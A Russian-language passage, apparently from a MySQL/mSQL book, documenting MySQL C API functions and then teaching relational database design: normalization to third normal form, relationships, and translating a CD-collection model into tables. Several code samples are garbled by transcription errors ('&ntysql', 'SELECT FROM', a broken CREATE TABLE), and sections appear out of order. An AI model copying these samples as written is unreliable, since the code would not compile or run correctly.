    Эта функция вернет количество записей в возвращаемом наборе записей. Работает корректно, только если набор был получен функцией mysql_store_result. Если была использована функция mysql_use_result, значением, возвращаемым функцией mysql_num_rows, будет количество записей, к которым уже был осуществлен доступ.

    Пример

    num_rows = mysql_num_rows(results);

    printf("Было возвращено %d записей \n", num_rows);


    mysql_ping

    int mysql_ping(MYSQL*mysql)

    Проверяет статус подключения к серверу MySQL. Если подключение не активно, клиент попытается автоматически восстановить его. Эта функция возвращает ноль, если подключение активно, и ненулевое значение в случае ошибки.

    Пример

    while(mysql_ping(&mysql))

    printf("Ошибка, попытка повторного подключения...\n");

    mysql_query

    int mysql_query(MYSQL*mysql, const char"query)

    Выполняет SQL-запрос, заданный вторым аргументом. Если запрос содержит любые двоичные данные (особенно пустой символ (null)), эту функцию использовать невозможно, и следует пользоваться функцией mysql_real_query. Функция возвращает ноль, если запрос был выполнен успешно, и ненулевое значение в случае ошибки.

    Пример

    error = mysql_query(&mysql, "SELECT FROM people WHERE name like

    'Bill%'");

    if (error) {

    printf("Ошибка при выполнении запроса!\n");

    exit(1);

    }

    mysql_real_connect

    MYSQL *mysql_real_connect(MYSQL*mysql, const char*host, const char *user,

    const char *passwd, const char*db, uint port, const char*unix_socket, uint client_flag)

    Создает соединение с сервером баз данных MySQL. У этой функции есть восемь аргументов:

  • Инициализированная структура MYSQL, созданная с помощью mysql_init.

  • Имя хоста или IP-адрес сервера баз данных MySQL (для локального подключения к серверу MySQL через сокет Unix можно использовать пустую строку или localhost).

  • Имя пользователя, используемое при подключении к серверу баз данных (пустой строкой можно указать на использование логина пользователя, запустившего клиента).

  • Пароль, используемый для идентификации указанного пользователя. Если используется пустая строка, будет производиться аутентификация только пользователей без пароля.

  • Начальная база данных, используемая при подключении (чтобы не выбирать при подключении начальную базу данных, можно передать пустую строку).

  • Порт, используемый для удаленного подключения к серверу баз данных MySQL по протоколу TCP (чтобы принять порт по умолчанию, можно передать 0).


  • Имя сокета Unix для подключения к серверу на локальном компьютере (чтобы принять сокет по умолчанию, можно использовать пустую строку).

  • Ноль или более из набора флагов, используемых при особых обстоятельствах:

    CLIENT_FOUND_ROWS

    При использовании запросов, изменяющих данные, возвращать не число измененных записей, а число записей, найденных в таблице.

    CLIENT_NO_SCHEMA

    Запретить клиенту использование полной формы указания на столбец базы данных database, table.column , чтобы скрыть структуру базы данных.

    CLIENT_COMPRESS

    Использовать сжатие при соединении с сервером.

    CLIENT_ODBC

    Указать серверу, что клиент является подключением ODBC.

    Пример

    /* Подключиться к серверу на локальном хосте, используя стандартные

    параметры. */

    if (! mysql_real_connect(&mysql, "localhost", "bob", "mypass", "", 0, 0))

    {

    print "Ошибка подключения!\n";

    exit(1); }

    mysql_real_query

    int mysql_real_query(MYSQL*mysql, const char*query, unsigned int length)

    Выполняет SQL-запрос, заданный вторым аргументом. В третьем аргументе должна быть указана длина запроса. Указав длину, вы можете использовать в запросе двоичные данные, включая пустые (null) символы. Эта функция действует быстрее, чем mysql_query. Функция возвращает ноль, если запрос был успешно выполнен, и ненулевое значение в случае ошибки.

    Пример

    error = mysql_real_query(&ntysql, "SELECT FROM people WHERE name like Bill%'",

    44);

    if (error)

    {

    printf("Ошибка при выполнении запроса!\n");

    exit(1);

    }

    mysql_reload

    int mysql_reload(MYSQL*mysql)

    Перегружает таблицу привилегий на сервере баз данных MySQL. Для использования этой функции вы должны иметь право Reload для текущего подключения. Функция возвращает ноль, если операцию удалось выполнить, иначе возвращается ненулевое значение.

    Пример

    result = mysql_reload(&mysql);

    mysql_row_tell

    unsigned int mysql_row_tell(MYSQL_RESresult)

    Возвращает значение курсора, используемого функцией mysql_fetch_row при чтении записей из результирующего набора. Возвращаемое этой функцией значение может быть использовано с mysql_row_seek для перехода к определенной записи в наборе.


    Пример

    saved_pos = mysql_row_tell(results);

    /* Теперь в любой момент я могу вернуться к этой записи */

    mysql_select_db

    int mysql_select_db(MYSQL*mysql, const char*db)

    Изменяет текущую базу данных. Пользователь должен иметь права доступа к новой базе данных. Функция возвращает ноль, если операция была успешно выполнена, и ненулевое значение в случае ошибки.

    Пример

    result = mysql_select_db(&mysql, "newdb");

    mysql_shutdown

    int mysql_shutdown(MYSQL*mysql)

    Выключает сервер баз данных MySQL. Для использования этой функции пользователь должен иметь право Shutdown для текущего подключения. Функция возвращает ноль, если операция была успешно выполнена, и ненулевое значение в случае ошибки.

    Пример

    result = mysql_shutdown(&mysql);

    mysql_stat

    char *mysql_stat(MYSQL*mysql)

    Возвращает информацию о текущем статусе сервера баз данных. Среди прочей информации содержатся данные о времени работы, количестве запущенных потоков и количестве обрабатываемых запросов.

    Пример

    printf("Информация о сервере \n-------\n%s\n", mysql_stat(&mysql));

    mysql_store_result

    MYSQL_RES *mysql_store_result(MYSQL*mysql)

    Читает весь результат запроса и сохраняет его в структуре MYSQL_RES. Для доступа к возвращаемым из запроса данным должна использоваться либо эта функция, либо mysql_use_result. Вы должны вызвать mysql_f ree_result для освобождения структуры MYSQL_RES после завершения работы с ней. Функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES results;

    mysql_query(&mysql, "SELECT* FROM people");

    results = mysql_store_result(&mysql);

    /* 'results' теперь содержит всю информацию из таблицы'people*/

    mysql_thread_id

    unsigned long mysql_thread_id(MYSQL* mysql)

    Возвращает ID потока текущего подключения. Это значение может использовать mysql_kill для завершения подключения в случае ошибки.

    Пример

    thread_ld = mysql_thread_id(&mysql);

    mysql_use_result

    MYSQL_RES*mysql_use_result(MYSQL*mysql)


    Читает результат запроса построчно и позволяет получить доступ к данным через структуру MYSQL_RES. Для доступа к возвращаемым из запроса данным должна использоваться или эта функция, или mysql_store_result. Так как эта функция не читает весь набор данных за один раз, она более быстрая, чем mysql_store_result, и более эффективно использует память. Однако при использовании этой функции вы должны прочесть все записи из набора данных, иначе следующий запрос получит оставшиеся данные. Также вы не сможете выполнять другие запросы до окончания работы с данными из этого запроса. После завершения работы с ними следует вызвать mysql_f ree_result для освобождения структуры MYSQL_RES. Функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES results;

    mysql_query(&mysql, "SELECT* FROM people");

    results = mysql_store_result(&mysql);

    /* 'results' теперь позволяет получить доступ к данным таблицы (используя mysql_fetch_row), по одной записи за раз*/



    Проектирование баз данных

    После установки на компьютере СУБД у вас может возникнуть сильный соблазн сразу начать создание базы данных, не задумываясь о планировании. Как и в других случаях разработки программного обеспечения, такой подход оправдан лишь при решении простейших задач. Если вы рассчитываете, что ваша база данных должна будет поддерживать хоть какую-то степень сложности, немного планирования и проектирования, в конечном итоге, несомненно сбережет ваше время.



    Методология логического моделирования данных

    Теперь у нас есть завершенная логическая модель данных. Вспомним, какие шаги нужно осуществить, чтобы получить ее:

  • Выявить и смоделировать сущности.

  • Выявить и смоделировать связи между сущностями.

  • Выявить и смоделировать атрибуты.

  • Указать уникальный идентификатор для каждой сущности.

  • Провести нормализацию.

    На практике процесс редко происходит в такой последовательности. Как показывает наш пример, часто возникают желание и необходимость перескакивать между сущностями, связями, атрибутами и идентификаторами. Важно не столько строго следовать последовательности шагов, сколько выявить и зафиксировать все данные, необходимые для правильного моделирования системы.

    Модель данных, которую мы создали в этой главе, очень проста. Мы рассказали, как создать модель, соответствующую по типу и сложности тем базам данных, с которыми вы, скорее всего, столкнетесь, разрабатывая базы данных для MySQL или mSQL. Мы не коснулись целой массы приемов проектирования и понятий, которые не имеют большого значения при проектировании маленьких баз данных и могут быть найдены в любом учебнике, посвященном проектированию баз данных.



    Нормализация

    Е. Ф. Кодд (Е. F. Codd), занимавшийся исследовательской работой в IBM, впервые представил концепцию нормализации в нескольких важных статьях, написанных в 1970-е годы. Задача нормализации остается той же самой и сегодня: устранить из базы данных некоторые нежелательные характеристики. В частности ставится задача устранить некоторые виды избыточности данных и благодаря этому избежать аномалий при изменении данных. Аномалии изменения данных - это сложности при операциях вставки, изменения и удаления данных, возникающие из-за структуры базы данных. Дополнительным результатом нормализации является конструкция, хорошо соответствующая реальному миру. Поэтому в результате нормализации модель данных становится более ясной.

    Например, предположим, что мы ошиблись при вводе "Herbie Hancock" в нашу базу данных и хотим исправить ошибку. Нам потребовалось бы рассмотреть все диски этого исполнителя и исправить имя. Если изменения производятся с помощью приложения, позволяющего одновременно редактировать только одну запись, нам придется редактировать много строк. Было бы гораздо лучше запомнить имя "Herbie Hancock" лишь один раз и редактировать его в одном месте.

    Первая нормальная форма (1NF)

    Общее понятие нормализации подразделяется на несколько "нормальных форм". Говорят, что сущность находится в первой нормальной форме, когда все ее атрибуты имеют единственное значение. Чтобы признать сущность находящейся в первой нормальной форме, нужно удостовериться в том, что каждый атрибут сущности имеет единственное значение для каждого экземпляра сущности. Если в каком-либо атрибуте есть повторяющиеся значения, сущность не находится в 1NF.

    Вернувшись к нашей базе данных, мы обнаруживаем, что повторяющиеся значения есть в атрибуте Song (песня), поэтому очевидно, что база не находится в 1NF. Сущность с повторяющимися значениями указывает на то, что мы упустили еще по крайней мере одну сущность. Обнаружить другие сущности можно, взглянув на каждый атрибут и задавшись вопросом "что описывает эта вещь?"


    Что описывает атрибут Song? Он перечисляет все песни на CD. Поэтому Song - это еще один объект, о котором мы собираем данные, и, возможно, он является сущностью. Мы добавим его в свою диаграмму и придадим атрибут Song Name (название песни). Чтобы покончить с сущностью Song, спросим себя, чем еще мы хотели бы ее охарактеризовать. Мы отметили ранее, что длительность песни мы также хотели бы сохранить. Новая модель данных показана на рис. 2-3.

    Нормализация

    Рис. 2-3. Модель данных с сущностями CD и Song

    Теперь, когда Song Name и Song Length являются атрибутами сущности Song, мы имеем модель данных с двумя сущностями в 1NF. К сожалению, мы не указали никакого способа связать вместе CD и Song.

    Уникальный идентификатор

    Прежде чем обсуждать связи, мы должны применить к сущностям еще одно правило. У каждой сущности должен быть однозначный идентификатор, который мы будем называть ID. ID есть атрибут сущности, к которому применимы следующие правила:

  • Он уникален для каждого экземпляра сущности.

  • Для каждого экземпляра сущности он имеет значение, отличное от NULL в течение всего срока существования экземпляра.

  • В течение всего времени существования экземпляра его значение не меняется.

    ID очень важен, поскольку позволяет узнать, с каким из экземпляров сущности мы имеем дело. Выбор идентификатора также существенен, потому что он используется для моделирования связей. Если после выбора ID для сущности вы обнаружили, что он не удовлетворяет одному из перечисленных правил, это может повлиять на всю вашу модель данных.

    Новички в моделировании данных часто делают ошибку, выбирая в качестве ID неподходящие атрибуты. Если, к примеру, у вас есть сущность Person (человек, лицо), может возникнуть соблазн выбрать в качестве идентификатора Name (фамилию), поскольку она есть у каждого лица и не меняется. Но что если лицо вступает в брак или законным образом хочет изменить фамилию? Или вы допустили ошибку при первоначальном вводе фамилии? При каждом из этих событий нарушается третье правило для идентификаторов. Еще хуже то, что фамилия окажется не уникальной. Если вы не можете стопроцентно гарантировать, что атрибут Name уникален, вы нарушаете первое правило для идентификаторов. Наконец, вы считаете, что у каждого экземпляра Person фамилия отлична от NULL. Но вы уверены, что всякий раз, вводя первоначальные данные в базу, будете знать фамилию? Ваш процесс может быть организован так, что при начальном создании записи фамилия может быть неизвестна. Из этого следует извлечь тот урок, что при выборе неидентифицирующего атрибута в качестве идентификатора возникает много проблем.


    Выход в том, чтобы изобрести идентифицирующий атрибут, не имеющий никакого иного смысла, кроме как служить идентифицирующим атрибутом. Поскольку этот атрибут искусственный и никак не связан с сущностью, мы имеем над ним полный контроль и можем обеспечить его соответствие правилам для уникальных идентификаторов. На рис. 2-4 к каждой из наших сущностей добавлен искусственный ID. На диаграмме уникальный идентификатор изображается как подчеркнутый атрибут.

    Нормализация

    Рис. 2-4. Сущности CD и Song со своими уникальными идентификаторами

    Связи

    Идентификаторы наших сущностей позволяют моделировать их связи. Связь описывает бинарное отношение между двумя сущностями. Связь может существовать также внутри одной сущности. Такая связь называется рекурсивной. Каждая сущность, участвующая в связи, описывает-другую и описывается ею. Каждая сторона связи имеет две составляющих - имя и степень.

    У каждой стороны связи есть имя, описывающее связь. Возьмем две гипотетические сущности — Служащий и Отдел. Один вариант связи между ними состоит в том, что Служащий "приписан" к Отделу. Этот Отдел "отвечает" за Служащего. Таким образом, связь со стороны Служащий называется "приписан", а со стороны Отдел - "отвечает".

    Степень, называемая также кардинальным числом, показывает, сколько экземпляров описывающей сущности должны описывать один экземпляр описываемой сущности. Степень выражается с помощью двух разных значений- "один-к-одному" (1) и "один-ко-многим" (М). Служащий приписан одновременно только к одному отделу, поэтому у сущности Служащий связь с сущностью Отдел "один-к-одному". В обратном направлении, отдел отвечает за многих служащих. Поэтому мы говорим, что у сущности Отдел связь с сущностью Служащий "один-ко-многим". В результате в Отделе может быть и только один Служащий.

    Иногда полезно выразить связь словами. Один из способов - вставить разные составляющие направления связи в следующую формулу:


    сущность1имеет [одну и только одну одну или много] сущностъ2

    Согласно этой формуле связь между Служащим и Отделом можно выразить так:

    Каждый Служащий должен быть приписан к одному и только одному

    Отделу.

    Каждый Отдел может отвечать одному или многим Служащим.

    Нормализация

    Рис. 2-5. Анатомия связи

    Нормализация

    Рис. 2-6. Связь CD-'Song

    Можно использовать эту формулу для описания сущностей в нашей модели данных. В каждом CD содержится много или одна Song, и каждая Song содержится хотя бы в одном CD. В нашей модели данных эту связь можно показать, проведя линию между двумя сущностями. Степень обозначается прямой линией для связи "один и только один" и "птичьей лапой" для связи "один-ко-многим>>. На рис. 2-5 показаны эти обозначения.

    Как это применимо к связи между Song и CD? На практике Song может содержаться на многих CD, но для нашего примера мы этим пренебрежем. На рис. 2-6 показана модель данных с обозначенными связями.

    Прочно установив связи, мы можем вернуться к процессу нормализации и опять улучшить нашу схему. Пока мы лишь нормализовали повторяющиеся песни, преобразовав их в отдельную сущность, и смоделировали связь между ней и сущностью СD.

    Вторая нормальная форма (2NF)

    Говорят, что сущность находится во второй нормальной форме, если она уже находится в первой НФ, и каждый неидентифицирующий атрибут зависит от всего уникального идентификатора сущности. Если некий атрибут не зависит полностью от уникального идентификатора сущности, значит, он внесен ошибочно и должен быть удален. Нормализуйте такой атрибут либо найдя сущность, к которой он относится, либо создав новую сущность, в которую он должен быть помещен.

    Нормализация

    Рис. 2-7. Модель данных с новой сущностью Artist

    В нашем примере "Herbie Hancock" является Band Name (названием ансамбля) для двух разных CD. Это показывает, что Band Name не полностью зависит от идентификатора CD ID. Это дублирование представляет собой проблему, поскольку если мы допустили ошибку при вводе "Herbie Hancock", придется исправлять значение в нескольких местах. Это указывает нам, что Band Name должно быть частью новой сущности, связанной с CD. Как и раньше, мы решаем эту задачу, задав вопрос: "Что описывает название ансамбля?" Оно описывает ансамбль, или, вообще говоря, исполнителя. Исполнитель - еще один объект, о котором мы собираем данные, и потому, возможно, является сущностью. Мы добавим его к нашей схеме с атрибутом Band Name. Поскольку исполнитель может не быть ансамблем, мы переименуем атрибут как Artist Name. На рис. 2-7 показано новое состояние модели.


    Правда, не показаны связи для новой таблицы исполнителей. Ясно, что у каждого Artist может быть один или много CD. У каждого CD может быть один или несколько Artist. Это показано на рис. 2-8.

    Нормализация

    Рис. 2-8. Связи сущности Artist в модели данных

    Вначале мы присвоили атрибут Band Name сущности CD. Поэтому было естественным установить прямую связь между Artist и CD. Но верно ли это? При ближайшем рассмотрении оказывается, что следует установить прямую связь между Artist и Song. У каждого Artist есть одна или много Song. Каждая Song исполняется одним и только одним Artist. Правильные связи показаны на рис. 2-9.

    Это не только более разумно, чем связь между Artist и CD, но и решает проблему дисков-сборников.

    Нормализация

    Рис. 2-9. Подлинная связь между Artist и остальной частью модели данных

    Виды связей

    При моделировании связей между сущностями важно определить оба направления связи. После определения обеих сторон связи мы приходим к трем основным видам связей. Если оба конца связи имеют степень "один и только один", то связь называется "один-к-одному". Как мы позднее убедимся, связи "один-к-одному" встречаются редко. В нашей модели данных их нет.

    Если одна сторона имеет степень "один или много", а другая сторона имеет степень "один и только один", то это связь "один-ко-многим" или "1-к-М". Все связи в нашей модели - это связи "один-ко-многим". Этого можно было ожидать, поскольку связи "один-ко-многим" наиболее распространены.

    И наконец, последний тип связей - когда обе стороны имеют степень "один-ко-многим". Такого типа связи называются "многие-ко-мно-гим", или "М-к-М". В предыдущей версии нашей модели данных связь Artist-CD имела тип "многие-ко-многим".

    Уточнение.связей

    Как отмечалось ранее, связи "один-к-одному" очень редки. На практике, если в процессе моделирования вы столкнетесь с такой связью, следует внимательнее изучить свой проект. Такая связь может означать, что две сущности являются на самом деле одной, и если это так, их следует объединить в одну.


    Связи "многие-ко-многим" встречаются чаще, чем "один-к-одному". В этих связях часто есть некоторые данные, которыми мы хотим охарактеризовать связь. Взглянем, например, на предыдущую версию нашей модели данных на рис. 2-8, в которой была связь "многие-ко-многим" между Artist и CD. Artist имеет связь с CD, поскольку у исполнителя есть одна или несколько Song на этом CD. Модель данных на рис. 2-9 фактически является другим представлением этой связи "многие-ко-многим".

    Все связи "многие-ко-многим" нужно разрешать с помощью следующей технологии:

  • Создайте новую сущность, иногда называемую сущностью-связкой. Назовите ее подходящим образом. Если вы не можете придумать подходящее название, образуйте его из сочетания имен связываемых сущностей, например ArtistCD. В нашей модели Song является сущностью-связкой для связи Artist-CD.

  • Свяжите новую сущность с двумя исходными. Каждая из исходных сущностей должна иметь связь "один-ко-многим" с сущностью-связкой.

  • Если в новой сущности нет очевидного уникального идентификатора, введите в нее идентифицирующие атрибуты исходных сущностей и сделайте эту пару уникальным идентификатором новой сущности.

    Почти всегда обнаружатся дополнительные атрибуты, принадлежащие новой сущности. Если это не так, то все равно необходимо разрешить связь "многие-ко-многим", иначе возникнут проблемы при переводе вашей модели данных в физическую схему.

    Нормализация

    Рис. 2-10. Наша модель данных во второй нормальной форме

    Еще о 2NF

    Наша модель все еще не приобрела вторую нормальную форму. Значение атрибута Record Label (фирма звукозаписи) имеет только одно значение для каждого CD, но одно и то же значение его присутствует в нескольких СD. Ситуация сходна с той, которая была с атрибутом Band Name. И точно так же дублирование указывает на то, что Record Label должна быть частью отдельной сущности. Каждая Record Label выпускает один или много CD. Каждый CD выпускается одной и только одной Record Label. Модель этой связи представлена на рис. 2-10.


    Третья нормальная форма (3NF)

    Сущность находится в третьей нормальной форме, если она уже находится во второй нормальной форме и ни один неидентифицирующий атрибут не зависит от каких-либо других неидентифицирующих атрибутов. Атрибуты, зависящие от других неидентифицирующих атрибутов, нормализуются путем перемещения зависимого атрибута и атрибута, от которого он зависит, в новую сущность.

    Если бы мы пожелали отслеживать адрес Record Label, то столкнулись бы с проблемами для третьей нормальной формы. В сущности Record Label должны быть атрибуты State Name (название штата) и State Abbreviation (сокращенное название штата). Хотя для учета CD эти данные и не нужны, мы добавим их к нашей модели для иллюстрации проблемы. На рис. 2-11 показаны адресные данные в сущности Record Label.

    Нормализация

    Рис. 2-11. Адресная информация о фирме звукозаписи в нашей базе данных

    Значения State Name и State Abbreviation удовлетворяют первой нормальной форме, поскольку имеют только одно значение в каждой записи сущности Record Label. Проблема в том, что State Name и State Abbreviation взаимозависимы. Иными словами, поменяв State Abbreviation для какой-либо Record Label, мы вынуждены будем также изменить State Name. Мы произведем нормализацию, создав сущность State с атрибутами State Name и State Abbreviation. На рис. 2-12 показано, как связать эту новую сущность с сущностью Record Label.

    Теперь, получив третью нормальную форму, мы можем сказать, что наша модель данных нормализована. Существуют и другие нормальные формы, имеющие значение с точки зрения проектирования баз данных, но их рассмотрение находится за пределами нашей книги. В большинстве случаев третьей нормальной формы достаточно, чтобы гарантировать правильность проекта базы данных.

    Нормализация

    Рис. 2-12. Модель данных в третьей нормальной форме



    Проектирование баз данных

    Предположим, у вас есть большая коллекция компакт-дисков, и вы хотите создать базу данных, чтобы отслеживать ее. Прежде всего, нужно определить, какие данные вы собираетесь хранить. Неплохо начать с того, чтобы подумать, а зачем, собственно, вам хранить эти данные. В нашем случае мы, скорее всего, хотим иметь возможность найти диск по исполнителю, названию и песне. Раз мы хотим искать эти пункты, они должны быть включены в базу данных. Помимо того, часто полезно просто перечислить пункты, которые нужно отслеживать. Возможен такой список: название CD, фирма звукозаписи, название ансамбля, название песни. В качестве отправной точки выберем для хранения данных таблицу, представленную как таблица 2-1.

    Таблица 2-1. База данных CD, состоящая из одной таблицы




    Band Name


    CD Title


    Record Label


    Songs

    Stevie Wonder Talking Book Motown You Are the Sunshine of My Life, Maybe Your Baby, Superstition, . . .

    Miles Davis Quintet


    Miles Smiles


    Columbia


    Orbits, Circle, . . .


    Wayne Shorter


    Speak No Evil


    Blue Note


    Witch Hunt, Fee-Fi-Fo-Fum


    Herbie Hancock


    Headhunters


    Columbia


    Chameleon, Watermelon Man, . . .


    Herbie Hancock


    Maiden Voyage


    Blue Note


    Maiden Voyage


    (Для краткости мы опустили большую часть -песен.) На первый взгляд, эта таблица нам подходит, поскольку в ней есть все необходимые данные. При более близком рассмотрении, однако, мы сталкиваемся с некоторыми проблемами. Возьмем, к примеру, Herbie Hancock. Название ансамбля повторяется дважды - для каждого CD. Это повторение неприятно по нескольким причинам. Во-первых, при вводе данных нам приходится вводить одно и то же несколько раз. Во-вторых, что более важно, при изменении каких-либо данных приходится изменять их в нескольких местах. Что если, к примеру, в Herbie вкралась орфографическая ошибка? Пришлось бы исправлять данные в двух строках. Та же проблема возникнет, если имя Herbie Hancock в будущем изменится (а ля Jefferson Airplane или John Cougar). С добавлением к нашей коллекции новых дисков Herbie Hancock увеличивается объем работы, необходимой для поддержания непротиворечивости данных.


    Другая проблема, вызванная наличием в базе данных всего одной таблицы, связана с тем, как хранятся названия песен. Мы храним их, как список песен, в одной колонке. Мы столкнемся с кучей проблем, если попытаемся разумно использовать эти данные. Представьте себе, как мы будем вводить и поддерживать этот список песен. А что если мы захотим хранить еще и длительность песен? Или пожелаем осуществлять поиск по названию песни? Довольно быстро становится ясно, что хранить песни в таком виде нежелательно.

    Вот тут начинает играть свою роль проектирование баз данных. Одна из важнейших задач проектирования баз данных - устранение из нее избыточности. Для этого используется прием, называемый нормализацией. Прежде чем приступить к нормализации, обсудим некоторые фундаментальные понятия реляционных баз данных. Модель данных -это диаграмма, показывающая конструкцию вашей базы данных. Она состоит из трех основных элементов - сущностей, атрибутов и связей. Пока остановимся на сущностях и атрибутах, а о связях поговорим позднее.

    Сущности в базе данных

    Сущность - это важная вещь или объект, сведения о котором нужно сохранить. Не все вещи являются сущностями, а только те, данные о которых должны быть сохранены. Сведения о сущностях имеют вид атрибутов и/или связей. Если некий кандидат на то, чтобы быть сущностью, не имеет атрибутов или связей, в действительности он не является сущностью. В модели базы данных сущности представляются в виде прямоугольника с заголовком. Заголовок является именем сущности.

    Атрибуты сущности

    Атрибут описывает данные о сущности, которые нужно сохранить. У каждой сущности ноль или более атрибутов, описывающих ее, и каждый атрибут описывает в точности одну сущность. Каждый экземпляр сущности (строка таблицы) имеет в точности одно значение, возможно, равное NULL, для каждого из своих атрибутов. Значение атрибута может быть числом, строкой символов, датой, временем или другим базовым значением данных. На первом этапе проектирования базы данных, логическом моделировании, нас не заботит то, каким образом будут храниться данные.


    Проектирование баз данныхNULL лежит в основе проблемы, связанной с отсутствующей информацией. Он специально используется тогда, когда какая-то часть данных отсутствует. Рассмотрим, к примеру, ситуацию, когда на CD нет данных о длительности каждой песни. У каждой песни есть длительность, но, глядя на коробку, вы не можете сказать, какова она. Хранить длительность как О нежелательно, поскольку это было бы неверно. Вместо этого вы записываете длительность как NULL. Если вы считаете, что можно сохранить ее как 0 и использовать 0 для обозначения "неизвестной длины", то можете попасть в одну из тех западней, которые привели к проблеме 2000-го года. В старых системах не только год хранится как две цифры, но и придается особое значение величине 9-9-99.

    В нашем примере база данных ссылается на ряд объектов - CD, название CD, название ансамбля, песни и название фирмы звукозаписи. Какие из них являются сущностями, а какие - атрибутами?

    Модель данных

    Обратите внимание, что мы определяем несколько видов данных (название CD, название ансамбля и т. д.), относящихся к каждому CD, и без которых описать CD совершенно невозможно. Поэтому CD является одним из тех объектов, которые мы хотим описать, и, похоже, является сущностью. Начнем разработку модели данных с изображения CD как сущности. На рис. 2-1 показана наша единственная сущность в модели данных.

    Проектирование баз данных

    Рис. 2-1. Сущность "CD" в модели данных

    По общепринятому соглашению об именовании сущностей имя сущности должно быть в единственном числе. Поэтому мы называем таблицу, в которой хранятся CD "CD", а не "CDs". Мы используем это соглашение, поскольку каждая сущность дает имя экземпляру. Например, "San Francisco 49ers" является экземпляром сущности "Футбольная команда", а не "Футбольные команды".

    На первый взгляд кажется, что оставшаяся часть базы данных описывает CD. Это указывает на то, что она содержит атрибуты CD. На рис. 2-2 они добавлены к сущности CD рис. 2-1. В модели данных атрибуты представлены как имена, перечисленные в прямоугольнике сущности.

    Эта диаграмма проста, но мы еще не закончили. В действительности, мы только начали. Ранее мы говорили, что целью моделирования данных является устранение избыточности с помощью приема, называемого нормализацией. У нашей базы данных прекрасная диаграмма, но мы не покончили с избыточностью, как намеревались. Пора нормализовать нашу базу данных.

    Проектирование баз данных

    Рис. 2-2. Сущность "CD" с атрибутами



    Проектирование физической базы данных

    С какой целью мы создавали логическую модель данных? Вам нужно создать базу данных, чтобы хранить информацию о CD. Модель данных - это только промежуточный шаг. В конечном итоге вы хотели бы получить базу данных MySQL или mSQL, в которой можно хранить данные. Как это сделать? При проектировании физической базы данных логическая модель переводится в набор операторов SQL, которые определяют вашу базу данных MySQL или mSQL.

    Поскольку MySQL и mSQL являются реляционными базами данных, относительно несложно перевести логическую модель, подобную описанной, в физическую базу данных MySQL или mSQL. Вот правила перевода:

  • Объекты становятся таблицами в физической базе данных.

  • Атрибуты становятся колонками в физической базе данных. Для каждой колонки нужно выбрать подходящий тип данных.

  • Уникальные идентификаторы становятся колонками, не допускающими значение NULL. В физической базе данных они называются первичными ключами (primary keys). Вы можете также пожелать создать уникальный индекс по идентификатору, чтобы обеспечивать уникальность. Учтите, что в mSQL нет понятия первичного ключа, есть просто уникальные индексы. К MySQL это не относится.

  • Отношения моделируются в виде внешних ключей (foreign keys). Мы коснемся их позднее.

    Применив эти правила к нашей модели (исключая адресную информацию по фирмам звукозаписи), получим физическую базу данных, представленную в таблице 2-2.

    Таблица 2-2. Определения физических таблиц для базы, данных CD



    Таблица


    Колонка


    Тип данных


    Примечания


    CD


    CDId


    INT


    primary key





    CDTitle


    TEXT(50)





    Artist


    Artistld


    INT


    primary key





    ArtistName


    TEXT(50)





    Song


    Songld


    INT


    primary key





    SongName


    TEXT(50)





    RecordLabel


    RecordLabelld


    INT


    primary key





    RecordLabelName


    TEXT(50)


    primary key


    Первое, на что вы можете обратить внимание: в нашей физической схеме из всех названий объектов удалены пробелы. Это вызвано тем, что названия нужно преобразовать в вызовы SQL, создающие таблицы, поэтому названия таблиц должны удовлетворять правилам SQL для образования имен. Кроме того, все первичные ключи мы сделали типа INT. Поскольку эти атрибуты искусственные, мы можем приписать им любой индексируемый тип. То, что они имеют тип INT, почти полностью результат нашего произвола. Почти, поскольку на практике поиск по числовым полям в большинстве баз данных осуществляется быстрее, и поэтому выгодно назначать первичными ключами числовые поля. Однако мы могли бы выбрать для ключевых полей тип CHAR, и все работало бы прекрасно. Выбор должен основываться на ваших критериях выбора идентификаторов.


    Для остальных колонок установлен тип TEXT с длиной 50. Такое определение годится и для MySQL, и для mSQL. Для MySQL, впрочем, лучше было бы выбрать VARCHAR, но это несущественно для нашего примера. Выбор правильного типа данных для колонок очень важен, но мы не будем сейчас на этом останавливаться, поскольку не касались еще типов данных, поддерживаемых MySQL и mSQL.

    Теперь у нас есть отправная точка для физической схемы. Мы еще не перевели отношения в физическую модель данных. Как указывалось ранее, после уточнения логической модели у вас должны остаться отношения типа "один-к-одному" и "один-ко-многим" - отношения "М-к-М" разрешаются через таблицы-связки. Отношения моделируются путем добавления внешних ключей к одной из участвующих в них таблиц. Внешний ключ - это уникальный идентификатор или первичный ключ таблицы на другом конце отношения.

    Позднее мы коснемся типов данных, поддерживаемых MySQL и mSQL. В каждой из них свои правила относительно того, какие типы данных можно индексировать. Ни в одной из них, например, нельзя индексировать поля типа TEXT. Поэтому недопустимо иметь колонку первичного ключа типа TEXT.

    Чаще всего отношение имеет тип "1-к-М". Ему соответствует первичный ключ со стороны "1", помещенный в таблицу на стороне "многие". В нашем примере это означает, что нужно сделать следующее:

  • Поместить колонку RecordLabelId в таблицу CD.

  • Поместить колонку CDId в таблицу Song.

  • Поместить колонку Artistic! в таблицу Song. Полученная схема показана в таблице 2-3.

    Таблица 2-3. Физическая модель данных для базы данных CD



    Таблица



    Колонка



    Тип данных



    Примечания



    CD



    Cdld



    INT



    primary key







    CDTitle



    TEXT(50)











    RecordLabelld



    INT



    foreign key



    Artist



    Artistld



    INT



    primary key







    ArtistName



    TEXT(50)







    Song



    Songld



    INT



    primary key







    SongName



    TEXT(50)











    Cdld



    INT



    foreign key







    Artistld



    INT



    foreign key



    RecordLabel



    RecordLabelld



    INT



    primary key







    RecordLabelName



    TEXT(50)





    <


    В нашей модели нет связей типа "один-к-одному". Если бы они были, то нужно было бы взять одну из таблиц и ввести в нее колонку внешнего ключа, соответствующую первичному ключу другой таблицы. Теоретически не важно, которую из таблиц вы выберете, но практические соображения могут определять, какую из колонок лучше сделать внешним ключом.

    Теперь у нас есть полная физическая схема базы данных. Осталось перевести эту схему на SQL. Для каждой таблицы в схеме вы пишете одну команду CREATE TABLE. Обычно для поддержки уникальности создается уникальный индекс по первичным ключам.

    В некотором смысле мы сейчас забегаем вперед. Вы, возможно, не знакомы с SQL, а в задачи данной главы не входит знакомство с версиями SQL, поддерживаемыми MySQL и mSQL. Все же, вот два простых сценария для создания базы данных CD. Первый сценарий, пример 2-1, составлен для MySQL, пример 2-2 — для mSQL.

    Пример 2-1. Сценарий создания базы данных CD в MySQL

    CREATE TABLE CD (CDID INT NOT NULL,

    RECORD_LABEL_I INT, CD_TITLE TEXT, PRIMARY KEY (CD_ID))

